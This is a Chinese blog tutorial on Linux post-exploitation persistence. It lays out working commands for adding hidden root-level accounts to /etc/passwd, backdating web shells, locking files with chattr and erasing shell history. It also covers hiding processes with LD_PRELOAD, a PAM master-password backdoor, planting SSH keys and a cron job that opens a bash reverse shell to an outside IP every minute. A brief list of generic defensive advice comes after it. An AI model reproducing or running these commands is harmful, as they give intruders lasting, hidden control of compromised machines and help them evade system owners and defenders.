内网渗透-linux权限维持

内网渗透-linux权限维持

添加用户

UID=0是最高权限的用户,有时候不能被远程登录,可以创建一个普通用户。

正常可以通过 “id” 来查看当前的用户的UID,
在这里插入图片描述

存在交互的shell且允许uid=0的⽤户远程登录
假设是高版本的话,先修改/etc/passwd的内容,在设置对应账户的密码

echo “test❌0:0:😕:/bin/sh” >> /etc/passwd
#增加超级⽤户账号
passwd test
#修改test的密码

在这里插入图片描述
添加成功
这里主要区分是什么服务器 因为在你创建用户 之后你要选择登录 你的ip一定是跟机主原始ip不一致 导致报异地登录等

存在交互的shell不允许uid=0的⽤户远程登录(高版本)

这个时候我们就可以创建一个普通的用户,先修改/etc/passwd的内容,在设置对应账户的密码

echo “xbb❌1000:1000:😕:/bin/sh” >> /etc/passwd
#增加普通⽤户账号

passwd xbb
#修改wxg的密码为xbb123456

没交互shell⽆回显添加Linux账户密码

可以设置简单的密码
useradd wxg -u 0 -o -g root -G root|| echo “123456” | passwd --stdin wxg

#创建账户wxg、密码123456且为root权限
注意,上述命令需要执行2次

在Ubuntu的一些版本中没有–-stdin,使用上述命令该密码会报错,可以使用下边这条语句:

也得执行两次。且需要root用户执行,sudo执行也会失败。

sudo useradd wxg -u 0 -o -g root -G root || echo wxg:123456 | chpasswd
#创建账户wxg、密码123456且为root权限

新增一个低权限用户(这种权限较小)
useradd test

echo “123456” | passwd --stdin test
、、在Ubuntu的一些版本中没有–-stdin,使用上述命令该密码会报错,可以使用下边这条语句:
echo test:123456 | chpasswd

设置复杂密码的高权限用户

useradd -u 0 -o -g root -G root user |echo -e “1qazwsx2wsx\n1qazwsx2wsx”|passwd user
、、该命令也得执行2次。且需要root用户执行,sudo执行也会失败。
、、该命令创建用户名称为“ user ”密码为“ 1qazwsx2wsx ”

使用linux的perl直接写入/etc/passwd

首先,使用perl语言(Linux自带)生成带有盐值的密码

perl -le ‘print crypt(“123456”,“addedsalt”)’

通过返回的盐值

echo “test:adrla7IBSfTZQ:0:0:root:/root:/bin/bash” >>/etc/passwd

隐藏后门技巧

hvv中,很多蓝队首先会根据文件的修改时间来判断文件是否含有后门。
假设原本的文件大多时间都为20年,新上传的木马是22年的,肯定会被优先针对。

修改文件属性

可以通过以下命令来复制文件的时间属性:
touch -r index.php shell.php
实验如下:

创建一个2.php 看世界
在复制shell.php文件属性来建立3.php,效果还是很明显的。
在这里插入图片描述

在这里插入图片描述

文件锁定

在Linux中,使⽤chattr命令来防⽌root和其他管理⽤户误删除和修改重要⽂件及⽬录,

此权限⽤ls -l是查看不出来的,从⽽达到隐藏权限的⽬的。
chattr +i evil.php #锁定⽂件

rm -rf evil.php #提示禁⽌删除

lsattr evil.php #属性查看

chattr -i evil.php #解除锁定

rm -rf evil.php #彻底删除⽂件
在这里插入图片描述

历史操作命令

在Linux之中,存在history,可以记录我们执行的命令。

在shell中执行的命令,不希望被记录在命令行历史中,那么在linux中可以开启无痕操作模式,所谓神不知鬼不觉

只针对你的工作关闭历史记录

history -c 大法

在这里插入图片描述

空格 set +o history

由于空格的缘故,该命令本身也不会被记录。
上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。
如要重新开启历史功能

空格 set -o history

从历史记录中删除指定的命令
假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命令来删除:

history | grep “keyword”

输出历史记录中匹配的命令

history -d 命令所在的行数

批量删除:
只保留前100个

sed -i ‘100,$d’ .bash_history

隐藏文件

Linux 下创建一个隐藏文件:

touch .test.txt

touch 命令可以创建一个文件,文件名前面加一个 点 就代表是隐藏文件 而且使用命令ls
-l是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏文件需要用到命令:ls -al
在这里插入图片描述

进程隐藏

管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的,实现进程隐藏。
劫持预加载动态链接库 LD_PRELOAD

libprocesshider
使用 ld 预加载器在 Linux 下隐藏进程。

完整教程可在https://sysdigcloud.com/hiding-linux-processes-for-fun-and-profit/

简而言之,编译库:

gianluca@sid:~/libprocesshider$ make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
gianluca@sid:~/libprocesshider$ sudo mv libprocesshider.so /usr/local/lib/

使用全局动态链接器加载它

root@sid:~# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

你的过程将不为人知

gianluca@sid:~$ sudo ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND

gianluca@sid:~$ sudo lsof -ni
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME

rookit后门

介绍

Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。

rootkit是linux平台下最常见的一种木马后门工具,它主要是通过替换系统文件来达到入侵和隐藏的目的。rootkit主要分为文件级别的和内核级别的

文件级别:一般是通过程序漏洞或者系统漏洞进入系统后,通过修改系统的重要文件来达到隐藏自己的目的。在系统遭受rootkit攻击后,合法的文件被木马程序替代,变成了外壳程序,而其内部是隐藏着的后门程序。
内核级别:是比文件级rootkit更高级的一种入侵方式,它可以使攻击者获得对系统底层的完全控制权,此时攻击者可以修改系统内核,进而截获运行程序向内核提交的命令,并将其重定向到入侵者所选择的程序并运行此程序。
常用的rookit后门工具有Reptile、mafix

Reptile

Reptile是一款rookit后门工具。项目地址:https://github.com/f0rb1dd3n/Reptile/tree/0e562cffc4373d6774502a2f68fd758f58a2db75

PAM

PAM是一种认证模块,PAM可以作为Linux登录验证和各类基础服务的认证,简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务,然后加载相应的PAM的配置文件(位于/etc/pam.d),最后调用认证文件(位于/lib/security)进行安全认证

简易利用的PAM后门也是通过修改PAM源码中认证的逻辑来达到权限维持
1、获取目标系统所使用的PAM版本,下载对应版本的pam版本
2、解压缩,修改pam_unix_auth.c文件,添加万能密码
3、编译安装PAM
4、编译完后的文件在:modules/pam_unix/.libs/pam_unix.so,复制到/lib64/security中进行替换,即可使用万能密码登陆,并将用户名密码记录到文件中。

ssh公私钥免密登录

创建秘钥对,然后将公钥上传到拿下的服务器中,实现root账号免密登录

ssh秘钥

生成ssh秘钥对

ssh-keygen -t rsa
保存路径输入 ./id_rsa ,保存到当前路径。接着再按两次回车

将id_rsa.pub公钥上传到服务中
将公钥写入到authorized_keys文件中

mkdir /root/.ssh && touch /root/.ssh/authorized_keys
cat id_rsa.pub >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys && chmod 700 /root/.ssh/

配置允许使用秘钥登录

vim /etc/ssh/sshd_config
RSAAuthentication yes
PubkeyAuthentication yes

ssh秘钥登录

ssh -i id_rsa root@ip

计划任务 反弹shell

使用crontab命令进行反弹shell。crontab命令用于设置周期性被执行的指令。新建shell脚本,利用脚本进行反弹。

创建反弹shell脚本,vim /etc/.evil.sh

#!/bin/bash
bash -i >& /dev/tcp/xx.xx.xx.xx/80 0>&1

并加上执行权限 chmod +x /etc/.evil.sh
添加计划任务 我们可以使用crontab -e或者vim /etc/crontab添加计划任务

#添加计划任务
vim /etc/crontab
#查看计划任务
cat /etc/crontab

设置定时任务为每分钟执行一次

#每一分钟执行一次
*/1 * * * * root /etc/.evil.sh

nc 监听 上线

  • 7
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Linux系统中进行内网渗透,攻击者可以利用一些常见的工具和技术来获取未授权访问、提权或控制其他主机。以下是一些常见的内网渗透技术和建议的对策: 1. 弱密码攻击:攻击者可能尝试猜测或暴力破解Linux系统上的密码。对策:确保使用强密码策略,并定期更改密码。禁用不必要的远程登录方式,如SSH密码登录,改为使用公钥身份验证。 2. 服务漏洞利用:攻击者可能利用Linux系统上运行的服务中的已知漏洞进行入侵。对策:定期更新和升级系统和软件包,及时修补已知漏洞。关闭不必要的服务或端口,只保留所需的服务,并根据需要配置防火墙规则。 3. 提权攻击:攻击者可能试图通过利用Linux系统上的特权升级漏洞来获取管理员权限。对策:限制用户的权限,确保每个用户只具有适当的权限。定期检查系统日志,监测异常行为和特权升级尝试。及时安装操作系统和内核的安全更新。 4. 社交工程:攻击者可能使用欺骗、伪装或其他手段来获取用户的敏感信息。对策:加强安全意识培训,教育员工有关社会工程学攻击的风险和防范措施。提醒用户不要随意点击可疑的链接或打开未知来源的附件。 5. 无线网络攻击:如果目标网络中有无线网络,攻击者可能尝试通过无线网络入侵内部网络。对策:使用强密码和加密协议保护无线网络。禁用不必要的无线网络功能,并配置合适的防火墙规则。 6. 内部系统扫描:攻击者可能在内网中进行系统扫描,探测其他主机的漏洞。对策:配置入侵检测系统(IDS)或入侵防御系统(IPS),监测内部网络流量,及时发现和阻止异常活动。 请注意,这些建议只是一些基本的防范措施。实际情况可能因网络环境和需求而异。为了确保Linux系统的安全,建议定期进行漏洞扫描、安全审计和渗透测试,并采取相应的安全措施来减少潜在的风险。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

炫彩@之星

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值